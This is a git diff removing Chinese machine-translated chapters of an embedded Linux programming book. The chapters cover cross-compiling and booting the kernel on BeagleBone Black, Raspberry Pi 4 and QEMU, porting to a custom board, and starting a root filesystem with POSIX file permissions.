- -## 为 Beaglebone Black 构建内核 - -根据已经给出的信息,下面是使用 Crossstool-NG ARM Cortex A8 交叉编译器为 Beaglebone Black 构建内核、模块和设备树的完整命令序列: - -```sh -$ cd linux-stable -$ make ARCH=arm CROSS_COMPILE=arm-cortex_a8-linux-gnueabihf- mrproper -$ make ARCH=arm multi_v7_defconfig -$ make -j4 ARCH=arm CROSS_COMPILE=arm-cortex_a8-linux-gnueabihf- zImage -$ make -j4 ARCH=arm CROSS_COMPILE=arm-cortex_a8-linux-gnueabihf- modules -$ make ARCH=arm CROSS_COMPILE=arm-cortex_a8-linux-gnueabihf- dtbs -``` - -这些命令位于`MELP/Chapter04/build-linux-bbb.sh`脚本中。 - -## 为 QEMU 构建内核 - -下面是使用 Crossstool-NG v5TE 编译器为 QEMU 模拟的 ARM VersatilePB 构建 Linux 的命令序列: - -```sh -$ cd linux-stable -$ make ARCH=arm CROSS_COMPILE=arm-unknown-linux-gnueabi- mrproper -$ make -j4 ARCH=arm CROSS_COMPILE=arm-unknown-linux-gnueabi- zImage -$ make -j4 ARCH=arm CROSS_COMPILE=arm-unknown-linux-gnueabi- modules -$ make ARCH=arm CROSS_COMPILE=arm-unknown-linux-gnueabi- dtbs -``` - -这些命令位于`MELP/Chapter04/build-linux-versatilepb.sh`脚本中。 在本节中,我们了解了如何使用 Kbuild 为我们的目标编译内核。 现在,我们将学习如何引导内核。 - -# 引导内核 - -引导 Linux 与高度依赖于设备。 在这一节中,我将向您展示它是如何在 Raspberry Pi 4、Beaglebone Black 和 QEMU 上工作的。 对于其他目标电路板,您必须咨询供应商或社区项目(如果有)的信息。 - -此时,您应该有了 Raspberry PI 4、Beaglebone Black 和 QEMU 的内核映像文件和设备树 BLOB。 - -## 启动树莓 PI 4 - -Raspberry PI 使用 Broadcom 提供的专有引导加载程序,而不是 U-Boot。 与以前的 Raspberry Pi 型号不同,Raspberry Pi 4 的引导加载程序驻留在板载 SPI EEPROM 上,而不是 microSD 卡上。 我们仍然需要将 Raspberry PI 4 的内核映像和设备树 blob 放在 microSD 上,才能引导我们的 64 位内核。 - -首先,您需要一个具有足够大的 FAT32`boot`分区的 microSD 卡,以容纳必要的内核构建构件。 `boot`分区需要是 microSD 卡上的第一个分区。 1 GB 的分区大小就足够了。 将 microSD 卡插入读卡器,并将`boot`目录的全部内容复制到`boot`分区。 卸下该卡并将其插入 Raspberry PI 4。将 USBtoTTL 串行电缆连接到 40 针 GPIO 接头([https://learn.adafruit.com/adafruits-raspberry-pi-lesson-5-using-a-console-cable/connect-the-lead](https://learn.adafruit.com/adafruits-raspberry-pi-lesson-5-using-a-console-cable/connect-the-lead))上的接地、Txd 和 Rxd 引脚。 接下来,启动终端仿真器,如`gtkterm`。 最后,打开 Raspberry PI 4 的电源,您应该会在串行控制台上看到以下输出: - -```sh -[    0.000000] Booting Linux on physical CPU 0x0000000000 [0x410fd083] -[    0.000000] Linux version 4.19.127-v8+ (frank@franktop) (gcc version 10.2.1 20201103 (GNU Toolchain for the A-profile Architecture 10.2-2020.11 (arm-10.16))) #1 SMP PREEMPT Sat Feb 6 16:19:37 PST 2021 -[    0.000000] Machine model: Raspberry Pi 4 Model B Rev 1.1 -[    0.000000] efi: Getting EFI parameters from FDT: -[    0.000000] efi: UEFI not found. -[    0.000000] cma: Reserved 64 MiB at 0x0000000037400000 -[    0.000000] random: get_random_bytes called from start_kernel+0xb0/0x480 with crng_init=0 -[    0.000000] percpu: Embedded 24 pages/cpu s58840 r8192 d31272 u98304 -[    0.000000] Detected PIPT I-cache on CPU0 -[…] -``` - -该序列将在内核死机中结束,因为内核在 microSD 卡上找不到根文件系统。 内核死机将在本章后面的中解释。 - -## 启动 Beaglebone Black - -首先,您需要安装了 U-Boot 的 microSD 卡,如[*第 3 章*](03.html#_idTextAnchor061),*All About BootLoader*中的 -*安装 U-Boot*部分所述。 将 microSD 卡插入读卡器,并从`linux-stable`目录将`arch/arm/boot/zImage`和`arch/arm/boot/dts/am335x-boneblack.dtb`文件复制到`boot`分区。 卸下卡并将其插入 Beaglebone Black。 启动终端仿真器(如`gtkterm`),并准备好在看到 U-Boot 消息时立即按空格键。 接下来,打开 Beaglebone Black 的电源并按空格键。 您应该会看到 U-Boot 提示。 现在,输入 U-Boot#提示符后显示的以下命令以加载 Linux 和设备树二进制文件: - -```sh -U-Boot# fatload mmc 0:1 0x80200000 zImage -reading zImage -7062472 bytes read in 447 ms (15.1 MiB/s) -U-Boot# fatload mmc 0:1 0x80f00000 am335x-boneblack.dtb -reading am335x-boneblack.dtb -34184 bytes read in 10 ms (3.3 MiB/s) -U-Boot# setenv bootargs console=ttyO0 -U-Boot# bootz 0x80200000 - 0x80f00000 -## Flattened Device Tree blob at 80f00000 -Booting using the fdt blob at 0x80f00000 -Loading Device Tree to 8fff4000, end 8ffff587 ... OK -Starting kernel ... -[ 0.000000] Booting Linux on physical CPU 0x0 -[…] -``` - -请注意,我们将内核命令行设置为`console=ttyO0`。 这告诉 Linux 使用哪个设备来进行控制台输出,在本例中是板上的第一个 UART,设备`ttyO0`。 如果没有它,我们在`Starting the kernel...`之后就看不到任何消息,因此不知道它是否工作。 序列将在内核恐慌中结束,原因我将在稍后解释。 - -## 启动 QEMU - -假设您的已经安装了`qemu-system-arm`,您可以使用内核和 ARM 通用 PB 的`.dtb`文件启动它,如下所示: - -```sh -$ QEMU_AUDIO_DRV=none \ -qemu-system-arm -m 256M -nographic -M versatilepb -kernel \ zImage --append "console=ttyAMA0,115200" -dtb versatile-pb.dtb -``` - -请注意,将`QEMU_AUDIO_DRV`设置为`none`只是为了抑制来自 QEMU 的关于缺少音频驱动程序配置的错误消息,我们不使用这些配置。 与 Raspberry Pi 4 和 Beaglebone Black 一样,这将以内核恐慌结束,系统将停止。 要退出 QEMU,请按*Ctrl*+*A*,然后按*x*(两次单独的按键)。 现在,让我们讨论一下什么是内核恐慌。 - -## 内核死机 - -虽然事情开始得很好,但结局却很糟糕: - -```sh -[ 1.886379] Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(0,0) -[ 1.895105] ---[ end Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(0, 0) -``` - -这是内核恐慌的一个很好的例子。 当内核遇到不可恢复的错误时,会发生内核死机。 默认情况下,它会将一条消息打印到控制台,然后暂停。 您可以设置`panic`命令行参数,以便在死机后重新启动之前有几秒钟的时间。 在本例中,不可恢复的错误不是根文件系统,这说明如果没有用户空间来控制内核,则内核是无用的。 您可以通过提供根文件系统(作为 ramdisk 或在可挂载的大容量存储设备上)来提供用户空间。 我们将在下一章讨论如何创建根文件系统,但首先我想描述通向`panic`的事件序列。 - -## 早期用户空间 - -为了将从内核初始化转换到用户空间,内核必须挂载一个根文件系统并在该根文件系统中执行一个程序。 这可以通过内存磁盘或通过在块设备上挂载真实的文件系统来实现。 所有这些的代码都在`init/main.c`中,从`rest_init()`函数开始,该函数创建第一个 PID 为`1`的线程,并在`kernel_init()`中运行代码。 如果存在 ramdisk,它将尝试执行程序`/init`,该程序将承担设置用户空间的任务。 - -如果内核无法找到并运行`/init`,它会尝试通过调用`init/do_mounts.c`中的`prepare_namespace()`函数来挂载文件系统。 这需要使用`root=`命令行给出用于挂载的块设备的名称,通常采用以下形式: - -```sh -root=/dev/ -``` - -或者,在此表格中,对于 SD 卡和 eMMC: - -```sh -root=/dev/p -``` - -例如,对于 SD 卡上的第一个分区,它将是`root=/dev/mmcblk0p1`。 如果挂载成功,它将尝试执行`/sbin/init`,然后是 -`/etc/init`、`/bin/init`,然后是`/bin/sh`,并在第一个有效的位置停止。 可以在命令行上覆盖该程序。 对于 ramdisk,使用`rdinit=`,对于文件系统,使用`init=`。 - -## 内核消息 - -内核开发人员喜欢通过自由使用`printk()`和类似函数打印出有用的信息。 根据重要性对消息进行分类,`0`是最高的: - -![](img/B11566_04_Table_01.jpg) - -它们首先被写入缓冲器`__log_buf`,该缓冲器的大小是`CONFIG_LOG_BUF_SHIFT`的幂 -的 2。 例如,如果`CONFIG_LOG_BUF_SHIFT`为`16`,则`__log_buf`为 64 KiB。 您可以使用`dmesg`命令转储整个缓冲区。 - -如果消息级别低于控制台日志级别,则会在控制台上显示该消息,并将其放置在`__log_buf`中。 默认控制台日志级别为`7`,表示显示级别为`6`及更低级别的消息,过滤掉级别为`7`的`KERN_DEBUG`。 您可以通过多种方式更改控制台日志级别,包括使用`loglevel=`内核参数或`dmesg -n `命令。 - -## 内核命令行 - -内核命令行是引导加载程序通过`bootargs`变量(在 U-Boot 的情况下)传递给内核的字符串;它也可以在设备树中定义或设置为`CONFIG_CMDLINE`中内核配置的一部分。 - -我们已经看到了一些内核命令行的示例,但还有更多。 在`Documentation/kernel-parameters.txt`中有一个完整的列表。 以下是一份简短的最有用的列表: - -* `debug`:将控制台日志级别设置为最高级别`8`,以确保您在控制台上看到所有内核消息。 -* `init=`:从挂载的根文件系统运行的`init`程序,缺省为`/sbin/init`。 -* `lpj=`:将`loops_per_jiffy`设置为给定常量。 在这个清单后面的一段中描述了这一点的重要性。 -* `panic=`:内核死机时的行为:如果大于 0,则给出重新启动前的秒数;如果大于 0,则永远等待(这是默认设置);如果小于 0,则毫无延迟地重新启动。 -* `quiet`:将控制台日志级别设置为静默,禁止除紧急消息以外的所有消息。 由于大多数设备都有串行控制台,因此输出所有这些字符串需要时间。 因此,使用此选项减少消息数量可缩短引导时间。 -* `rdinit=`:要从内存磁盘运行的`init`程序。 默认为`/init`。 -* `ro`:将根设备装载为只读。 对始终为读/写状态的 ramdisk 没有影响。 -* `root=`:要挂载根文件系统的设备。 -* `rootdelay=`:尝试装载根设备之前等待的秒数;默认为零。 如果设备需要时间来探测硬件,则非常有用,但也请参阅`rootwait`。 -* `rootfstype=`:根设备的文件系统类型。 在许多情况下,它是在挂载过程中自动检测到的,但对于`jffs2`文件系统是必需的。 -* `rootwait`:无限期等待检测到根设备。 对于 MMC 设备通常是必需的。 -* `rw`:将根设备挂载为读写(默认)。 - -在减少内核引导时间时,经常会提到`lpj`参数。 在初始化期间,内核循环大约 250 毫秒以校准延迟循环。 该值存储在`loops_per_jiffy`变量中,并按如下方式报告: - -```sh -Calibrating delay loop... 996.14 BogoMIPS (lpj=4980736) -``` - -如果内核始终在同一硬件上运行,则它将始终计算相同的值。 通过在命令行中添加`lpj=4980736`,可以将引导时间缩短 250 毫秒。 - -在下一节中,我们将学习如何将 Linux 移植到基于 Beaglebone Black 的新主板上,Beaglebone Black 是我们假设的 Nova 主板。 - -# 将 Linux 移植到新板 - -将 Linux 移植到新板可能容易,也可能困难,这取决于您的主板与现有开发板的相似程度。 在[*第 3 章*](03.html#_idTextAnchor061),*All About BootLoader*中,我们 -将 U-Boot 移植到一个名为 Nova 的新板上,该板基于 Beaglebone Black。 只需对内核代码进行很少的更改,因此非常简单。 如果您要移植到全新的创新型硬件,您将会有更多的事情要做。 我们将在[*第 12 章*](12.html#_idTextAnchor356),*《利用分支板制作原型》*中更深入地研究 -有关附加硬件外围设备的主题。 - -`arch/$ARCH`中特定于体系结构的代码的组织方式因系统而异。 X86 架构非常干净,因为大多数硬件细节都是在运行时检测到的。 PowerPC 架构将 SoC 和特定于主板的文件放入子目录平台中。 另一方面,ARM 架构相当混乱,部分原因是许多基于 ARM 的 SoC 之间存在很大的可变性。 与平台相关的代码放在名为`mach-*`的目录中,大约每个 SoC 一个。 还有其他名为`plat-*`的目录,其中包含多个 SoC 版本通用的代码。 对于 Beaglebone Black,相关目录为`arch/arm/mach-omap2`。 但不要被名字所愚弄;它包含对 OMAP2、3 和 4 芯片以及 Beaglebone 使用的 AM33xx 系列芯片的支持。 - -在接下来的几节中,我将解释如何为新主板创建设备树,以及如何将其键入 Linux 的初始化代码中。 - -## 新设备树 - -要做的第一件事是为主板创建设备树,并对其进行修改以描述 Nova 主板的附加或更改的硬件。 在这个简单的例子中,我们只需将`am335x-boneblack.dts`复制到`nova.dts`,并将模型名称更改为`Nova`,如下所示: - -```sh -/dts-v1/; -#include "am33xx.dtsi" -#include "am335x-bone-common.dtsi" -#include "am335x-boneblack-common.dtsi" -/ { -        model = "Nova"; -        compatible = "ti,am335x-bone-black", "ti,am335x-bone", "ti,am33xx"; -}; -[…] -``` - -我们可以显式构建 Nova 设备树二进制文件,如下所示: - -```sh -$ make ARCH=arm nova.dtb -``` - -如果我们希望每当选择 AM33xx 目标时由`make ARCH=arm dtbs`编译 Nova 的设备树,我们可以在`arch/arm/boot/dts/Makefile`中添加依赖项,如下所示: - -```sh -[…] -dtb-$(CONFIG_SOC_AM33XX) += -    nova.dtb -[…] -``` - -我们可以通过启动 Beaglebone Black 来查看使用 Nova 设备树的效果,按照与*启动 Beaglebone Black*部分相同的步骤,使用与前面相同的`zImage`文件,但加载`nova.dtb`而不是`am335x-boneblack.dtb`。 以下突出显示的输出是打印机器型号的点: - -```sh -Starting kernel ... -[ 0.000000] Booting Linux on physical CPU 0x0 -[ 0.000000] Linux version 5.4.50-melp-v1.0-dirty (frank@franktop) (gcc version 8.3.0 (crosstool-NG crosstool-ng-1.24.0) ) #2 SMP Sat Feb 6 17:19:36 PST 2021 -[ 0.000000] CPU: ARMv7 Processor [413fc082] revision 2 (ARMv7), cr=10c5387d -[ 0.000000] CPU: PIPT / VIPT nonaliasing data cache, VIPT aliasing instruction cache -[ 0.000000] OF: fdt:Machine model: Nova -[…] -``` - -现在我们已经有了专门用于 Nova 主板的设备树,我们可以对其进行修改,以描述 Nova 和 Beaglebone Black 之间的硬件差异。 内核配置也很可能发生更改,在这种情况下,您将基于`arch/arm/configs/multi_v7_defconfig`的副本创建自定义配置文件。 - -## 设置线路板的 Compatible 属性 - -创建新的设备树意味着我们可以描述 Nova 板上的硬件,选择设备驱动程序并设置匹配的属性。 但是假设 Nova 董事会需要不同于 Beaglebone Black 的早期初始化代码,我们如何才能将其连接起来呢? - -电路板设置由根节点中的`compatible`属性控制。 这是我们目前对 Nova 董事会的看法: - -```sh -/ { -    model = "Nova"; -    compatible = "ti,am335x-bone-black", "ti,am335x-bone", "ti,am33xx"; -}; -``` - -当内核解析该节点时,它将为 Compatible 属性的每个值搜索匹配的计算机,从左侧开始,直到找到第一个匹配项。 每台机器都定义在由`DT_MACHINE_START`和`MACHINE_END`宏分隔开的结构中。 在`arch/arm/mach-omap2/board-generic.c`中,我们发现 -如下: - -```sh -#ifdef CONFIG_SOC_AM33XX -static const char *const am33xx_boards_compat[] __initconst = { -    "ti,am33xx", -    NULL, -}; - DT_MACHINE_START(AM33XX_DT, "Generic AM33XX (Flattened Device Tree)") -    .reserve = omap_reserve, -    .map_io = am33xx_map_io, -    .init_early = am33xx_init_early, -    .init_machine = omap_generic_init, -    .init_late = am33xx_init_late, -    .init_time = omap3_gptimer_timer_init, -    .dt_compat = am33xx_boards_compat, -    .restart = am33xx_restart, -MACHINE_END -#endif -``` - -请注意,字符串数组`am33xx_boards_compat`包含`"ti,am33xx"`,它与`compatible`属性中列出的计算机之一相匹配。 事实上,这是唯一可能的匹配,因为没有`ti,am335x-bone-black`或`ti,am335x-bone`的匹配项。 `DT_MACHINE_START`和`MACHINE_END`之间的结构包含一个指向字符串数组的指针,以及用于电路板设置函数的函数指针。 - -您可能会想,如果`ti,am335x-bone-black`和`ti, -am335x-bone`从未匹配过任何内容,为什么还要费心呢? 部分原因是它们是未来的占位符,但内核中也有包含使用`of_machine_is_compatible()`函数的机器的运行时测试的位置;例如,在`drivers/net/ethernet/ti/cpsw-common.c`中: - -```sh -int ti_cm_get_macid(struct device *dev, int slave, u8 *mac_addr) -{ -[…] -    if (of_machine_is_compatible("ti,am33xx")) -        return cpsw_am33xx_cm_get_macid(dev, 0x630, slave, mac_addr); -[…] -``` - -因此,我们不仅要查看目录,还要查看整个内核源代码,以获得依赖于`machine compatible`属性的所有位置的列表。 在 5.4 内核中,您会发现仍然没有检查`ti, -am335x-bone-black`和`ti,am335x-bone`,但是将来可能会有。 - -回到 Nova 板,如果我们想要添加特定于机器的设置,我们可以在`arch/arm/mach-omap2/board-generic.c`中添加一台机器,如下所示: - -```sh -#ifdef CONFIG_SOC_AM33XX -[…] -static const char *const nova_compat[] __initconst = { -    "ti,nova", -    NULL, -}; - DT_MACHINE_START(NOVA_DT, "Nova board (Flattened Device Tree)") -    .reserve = omap_reserve, -    .map_io = am33xx_map_io, -    .init_early = am33xx_init_early, -    .init_machine = omap_generic_init, -    .init_late = am33xx_init_late, -    .init_time = omap3_gptimer_timer_init, -    .dt_compat = nova_compat, -    .restart = am33xx_restart, -MACHINE_END -#endif -``` - -然后,我们可以像这样更改设备树根节点: - -```sh -/ { -    model = "Nova"; -    compatible = "ti,nova", "ti,am33xx"; -}; -``` - -现在,机器将匹配`board-generic.c`中的`ti,nova`。 我们保留`ti,am33xx`,因为我们希望运行时测试(如`drivers/net/ethernet/ti/cpsw-common.c`中的测试)继续工作。 - -# 摘要 - -Linux 之所以如此强大,是因为我们能够随心所欲地配置内核。 获取内核源代码的最终位置是[https://www.kernel.org/](https://www.kernel.org/),但您可能需要从该设备的供应商或支持该设备的第三方获取特定 SoC 或主板的源代码。 针对特定目标的内核定制可能包括对核心内核代码的更改、不在主线 Linux 中的设备的其他驱动程序、默认内核配置文件和设备树源文件。 - -通常,您从目标板的默认配置开始,然后通过运行其中一个配置工具(如`menuconfig`)进行调整。 在这一点上,您应该考虑的一件事是内核特性和驱动程序应该编译为模块还是内置。 对于嵌入式系统来说,内核模块通常不是很大的优势,因为在嵌入式系统中,功能集和硬件通常都定义得很好。 然而,模块通常被用作将专有代码导入内核的一种方式,还可以通过在引导后加载不必要的驱动程序来缩短引导时间。 - -构建内核将生成名为`zImage`、`bzImage`或`uImage`的压缩内核映像文件,具体取决于您将使用的引导加载程序和目标体系结构。 内核构建还将生成您已配置的任何内核模块(作为`.ko`文件)和设备树二进制文件(作为`.dtb`文件)(如果您的目标需要它们)。 - -将 Linux 移植到新的目标板可能非常简单,也可能非常困难,这取决于硬件与主线或供应商提供的内核的不同程度。 如果您的硬件基于众所周知的参考设计,则可能只是更改设备树或平台数据的问题。 您可能需要添加设备驱动程序,我们将在[*第 11 章*](11.html#_idTextAnchor329)、*与设备驱动程序*接口中讨论这一点。 但是,如果硬件与参考设计完全不同,您可能需要额外的核心支持,这不在本书的讨论范围之内。 - -内核是基于 Linux 的系统的核心,但它不能单独工作。 它需要 -一个包含用户空间组件的根文件系统。 根文件系统可以是 -、ramdisk 或通过块设备访问的文件系统,这将是 -下一章的主题。 正如我们已经看到的,在没有根文件系统的情况下引导内核会导致 -内核死机。 - -# 附加读数 - -以下资源提供了有关本章 -中介绍的主题的详细信息: - -* *所以你想构建一个嵌入式 linux 系统?*杰伊·卡尔森: - [https://jaycarlson.net/embedded-linux/](https://jaycarlson.net/embedded-linux/) -* *Linux 内核开发*,*第三版*,Robert Love 著 -* *Linux 每周新闻*:[https://lwn.net](https://lwn.net) -* *Beaglebone 论坛*:[https://beagleboard.org/Discesse#bone_Forum_embed](https://beagleboard.org/discuss#bone_forum_embed) -* *树莓派论坛*:[https://www.raspberrypi.org/forums/](https://www.raspberrypi.org/forums/) \ No newline at end of file diff --git a/docs/master-emb-linux-prog/05.md b/docs/master-emb-linux-prog/05.md deleted file mode 100644 index 337478ec..00000000 --- a/docs/master-emb-linux-prog/05.md +++ /dev/null @@ -1,1095 +0,0 @@ -# 五、构建根文件系统 - -根文件系统是嵌入式 Linux 的第四个也是最后一个元素。 一旦您阅读了本章,您将能够构建、引导和运行一个简单的嵌入式 Linux 系统。 - -我将在这里描述的技术被广泛地称为**滚动您自己的**或**Ryo**。 在嵌入式 Linux 的早期,这是创建根文件系统的唯一方法。 仍然有一些适用于 Ryo 根文件系统的用例,例如,当 RAM 或存储量非常有限时,用于快速演示,或者用于标准构建系统工具不能(轻松)满足您的要求的任何情况。 尽管如此,这种情况还是相当罕见的。 让我强调一下,本章的目的是教育性的;它并不是构建日常嵌入式系统的秘诀:使用下一章中描述的工具来实现这一点。 - -第一个目标是创建给我们一个 shell 提示符的最小根文件系统。 然后,以此为基础,我们将添加脚本以启动其他程序,并配置网络接口和用户权限。 Beaglebone Black 和 QEMU 目标都有工作过的例子。 了解如何从头开始构建根文件系统是一项有用的技能,当我们在后面的章节中查看更复杂的示例时,它将帮助您理解正在发生的事情。 - -在本章中,我们将介绍以下主题: - -* 根文件系统中应该包含什么内容? -* 将根文件系统传输到目标 -* 创建引导`initramfs` -* `init`程序 -* 配置用户帐户 -* 更好的设备节点管理方式 -* 配置网络 -* 使用设备表创建文件系统映像 -* 使用 NFS 挂载根文件系统 -* 使用 TFTP 加载内核 - -# 技术要求 - -要按照示例操作,请确保您具备以下条件: - -* 一种基于 Linux 的主机系统 -* 一种 microSD 卡读卡器和卡 -* [*第 4 章*](04.html#_idTextAnchor085),*配置和构建内核*中为 Beaglebone Black 准备的 microSD 卡 -* `zImage`和 QEMU 的 DTB(参见[*第 4 章*](04.html#_idTextAnchor085),*配置和构建内核*) -* USB 转 TTL 3.3V 串行电缆 -* 比格尔博恩黑 -* 5V 1A 直流电源 -* 用于 NFS 和 TFTP 的以太网电缆和端口 - -本章的所有代码都可以在本书的 giHub 存储库的`Chapter05`文件夹中找到:[https://github.com/PacktPublishing/Mastering-Embedded-Linux-Programming-Third-Edition](https://github.com/PacktPublishing/Mastering-Embedded-Linux-Programming-Third-Edition) - -# 根文件系统中应该有什么? - -内核将获得根文件系统,作为从引导加载器作为指针传递的`initramfs`,或者通过挂载内核命令行上由`root=`参数给出的块设备。 一旦拥有根文件系统,内核将执行第一个程序,默认名称为`init`,如[*第 4 章*](04.html#_idTextAnchor085),*配置和构建内核*中的*早期用户空间*部分所述。 然后,就内核而言,它的工作就完成了。 这取决于`init`程序开始启动其他程序并使系统恢复活力。 - -要创建最小根文件系统,您需要以下组件: - -* **init**:这是启动一切的程序,通常通过运行一系列脚本。 我将在[*第 13 章*](13.html#_idTextAnchor391),*启动-init 程序*中更详细地描述`init`是如何工作的。 -* **Shell**:您需要一个 Shell 来为您提供命令提示符,但更重要的是,您还需要一个 Shell 来运行`init`调用的 Shell 脚本和其他程序。 -* **守护进程**:守护进程是向其他人提供服务的后台程序。 很好的例子是系统日志守护进程(`syslogd`)和安全外壳守护进程(`sshd`)。 `init`程序必须启动初始后台进程群才能支持主系统应用。 事实上,`init`本身就是一个守护进程:它是提供启动其他守护进程的服务的守护进程。 -* **共享库**:大多数程序都与共享库链接,因此它们必须位于根文件系统中。 -* **配置文件**:`init`和其他守护进程的配置存储在一系列文本文件中,通常存储在`/etc`目录中。 -* **设备节点**:这些是允许访问各种设备驱动程序的特殊文件。 -* **proc 和 sys**:这两个伪文件系统将内核数据结构表示为目录和文件的层次结构。 许多程序和库函数依赖于`/proc`和`/sys`。 -* **内核模块**:如果您已经将内核的某些部分配置为模块,则需要将它们安装在根文件系统中,通常安装在`/lib/modules/[kernel version]`中。 - -此外,还有特定于设备的应用,这些应用使设备执行其预期的工作,以及它们生成的运行时数据文件。 - -重要音符 - -在某些情况下,您可以将前面的大多数程序压缩为一个静态链接的程序,然后启动该程序而不是`init`。 例如,如果您的程序名为`/myprog`,您可以将以下命令添加到内核命令行`init=/myprog`。 我只在安全系统中遇到过这样的配置一次,在安全系统中,`fork`系统调用已被禁用,因此无法启动任何其他程序。 这种方法的缺点是您不能使用通常进入嵌入式系统的许多工具。 你必须自己做所有的事情。 - -## 目录布局 - -有趣的是,除了由`init=`或`rdinit=`命名的程序存在的之外,Linux 内核并不关心文件和目录的布局,因此您可以自由地将内容放在您喜欢的任何位置。 例如,将运行 Android 的设备的文件布局与桌面 Linux 发行版的文件布局进行比较:它们几乎完全不同。 - -然而,许多程序都希望某些文件位于特定位置,如果设备使用类似的布局(Android 除外),这对我们开发人员是有帮助的。 大多数 LINUX 系统的基本布局都是在**文件系统层次标准**(**FHS**)中定义的,该标准可在[https://refspecs.linuxfoundation.org/fhs.shtml](https://refspecs.linuxfoundation.org/fhs.shtml)获得。 FHS 涵盖了 Linux 操作系统的所有实现,从最大到最小。 嵌入式设备往往根据需要使用子集,但通常包括以下内容: - -* `/bin`:对所有用户都必不可少的程序 -* `/dev`:设备节点和其他特殊文件 -* `/etc`:系统配置文件 -* `/lib`:基本共享库,例如,组成 C 库的共享库 -* `/proc`:有关表示为虚拟文件的进程的信息 -* `/sbin`:系统管理员必备的程序 -* `/sys`:有关以虚拟文件表示的设备及其驱动程序的信息 -* `/tmp`:放置临时或易失性文件的位置 -* `/usr`:分别位于 - `/usr/bin`、`/usr/lib`和`/usr/sbin`目录中的其他程序、库和系统管理员实用程序 -* `/var`:可以在运行时修改的文件和目录的层次结构,例如日志消息,其中一些必须在引导后保留 - -这里有一些微妙的区别。 `/bin`和`/sbin`之间的区别很简单,后者不需要包括在非 root 用户的搜索路径中。 Red Hat 派生发行版的用户应该对此很熟悉。 `/usr`的意义在于,它可能位于与根文件系统不同的分区中,因此它不能包含引导系统所需的任何内容。 - -## 临时目录 - -您应该从在主机上创建**分段**目录开始,您可以在该目录中汇编最终将传输到目标的文件。 在下面的示例中,我使用了`~/rootfs`。 您需要在其中创建一个*骨架*目录结构,例如,查看以下内容: - -```sh -$ mkdir ~/rootfs -$ cd ~/rootfs -$ mkdir bin dev etc home lib proc sbin sys tmp usr var -$ mkdir usr/bin usr/lib usr/sbin -$ mkdir -p var/log -``` - -要更清楚地查看目录层次结构,可以使用以下示例中使用的便捷`tree`命令和`-d`选项仅显示目录: - -```sh -$ tree -d -. -├── bin -├── dev -├── etc -├── home -├── lib -├── proc -├── sbin -├── sys -├── tmp -├── usr -│   ├── bin -│   ├── lib -│   └── sbin -└── var -    └── log -``` - -正如我们将看到的,并非所有目录都具有相同的文件权限,并且目录中的各个文件可以具有比目录本身更严格的权限。 - -## POSIX 文件访问权限 - -每个进程(在本讨论的上下文中表示每个正在运行的程序)都属于一个用户和一个或多个组。 用户由称为**用户 ID**或**UID**的 32 位数字表示。 关于用户的信息,包括从 UID 到名称的映射,保存在`/etc/passwd`中。 同样,组由信息保存在`/etc/group`中的**组 ID**或**GID**表示。 始终存在 UID 为`0`的`root`用户和 GID 为`0`的根组。 `root`用户也称为**超级用户**,因为在默认配置中,它绕过了大多数权限检查,可以访问系统中的所有资源。 在基于 Linux 的系统中,安全性主要是限制对**根**帐户的访问。 - -每个文件和目录也有一个所有者,并且恰好属于一个组。 进程对文件或目录的访问级别由一组访问权限标志控制,称为文件的**模式**。 有 3 个 3 位集合:第一个集合适用于文件的*所有者*,第二个集合适用于与该文件属于同一组的*成员*,最后一个集合适用于*其他所有*人-世界的其余部分。 这些位用于文件的**读取**(`r`)、**写入**(`w`)和**执行**(`x`)权限。 由于 3 位恰好适合一个八进制数字,因此它们通常用八进制表示,如下图所示: - -![Figure 5.1 – File access permissions](img/B11566_05_01.jpg) - -图 5.1<>文件访问许可 - -有第四个前面的八进制数字,其值具有特殊意义: - -* **SUID**(**4**):如果文件是可执行的,它会在程序运行时将进程的有效 UID 更改为文件所有者的 UID。 -* **sgid**(**2**):类似于 SUID,它将进程的有效 GID 更改为文件组的有效 GID。 -* **Sticky**(**1**):在目录中,这会限制删除,使一个用户无法删除另一个用户拥有的文件。 这通常在`/tmp`和`/var/tmp`上设置。 - -SUID 位可能是最常用的。 它为非 root 用户提供临时权限提升到超级用户以执行任务。 一个很好的例子是`ping`程序:`ping`打开一个原始套接字,这是一个特权操作。 为了让普通用户使用`ping`,它归用户`root`所有,并设置了 SUID 位,以便当您运行`ping`时,无论您的 UID 是什么,它都会使用 UID`0`执行。 - -要设置此前导八进制数字,请在`chmod`命令中使用值 4、2 或 1。 例如,要在分段`root`目录中的`/bin/ping`上设置 SUID,您可以将`4`设置为模式`755`,如下所示: - -```sh -$ cd ~/rootfs -$ ls -l bin/ping --rwxr-xr-x 1 root root 35712 Feb 6 09:15 bin/ping -$ sudo chmod 4755 bin/ping -$ ls -l bin/ping --rwsr-xr-x 1 root root 35712 Feb 6 09:15 bin/ping -``` - -请注意,第二个`ls`命令显示模式的前 3 位为`rws`,而之前它们为`rwx`。 该`s`表示 SUID 位已设置。 - -## 转移目录中的文件所有权权限 - -出于安全和稳定性原因,非常重要的一点是要注意将放置在目标设备上的文件的所有权和权限。 一般来说,您希望将敏感资源限制为只能由`root`用户访问,并尽可能少地使用非 root 用户运行程序。 最好使用非 root 用户运行程序,这样,如果他们受到外部攻击的危害,他们向攻击者提供的系统资源就会尽可能少。 例如,名为`/dev/mem`的设备节点提供对系统内存的访问,这在某些程序中是必需的。 但是,如果它对每个人都是可读和可写的,那么就没有安全性了,因为每个人都可以访问内存中的所有内容。 因此,`/dev/mem`应该属于`root`,属于`root`组,并且具有`600`模式,该模式拒绝除所有者之外的所有人的读写访问。 - -不过,临时目录有一个问题。 您在那里创建的文件将归您所有,但当它们安装到设备上时,它们应该属于特定的所有者和组,主要是`root`用户。 一个明显的解决方法是在此阶段使用如下所示的命令将所有权更改为`root`: - -```sh -$ cd ~/rootfs -$ sudo chown -R root:root * -``` - -问题是您需要`root`权限才能运行`chown`命令,从那时起,您需要成为`root`才能修改临时目录中的任何文件。 不知不觉中,您正在以`root`身份登录进行所有开发,这不是一个好主意。 这是一个我们稍后再来讨论的问题。 - -## 根文件系统的程序 - -现在,到了开始向`root`文件系统填充它们运行所需的基本程序和支持库、配置和数据文件的时候了。 我将从概述您将需要的程序类型开始。 - -### Init 程序 - -`init`是第一个运行的程序,因此它是根文件系统的重要部分。 在本章中,我们将使用 BusyBox 提供的 Simple`init`程序。 - -### 壳 / 炮弹 / 鞘翅 / 外皮 - -我们需要一个外壳来运行脚本,并给我们一个命令提示符,以便我们可以与系统交互。 交互式 shell 在生产设备上可能不是必需的,但对于开发、调试和维护很有用。 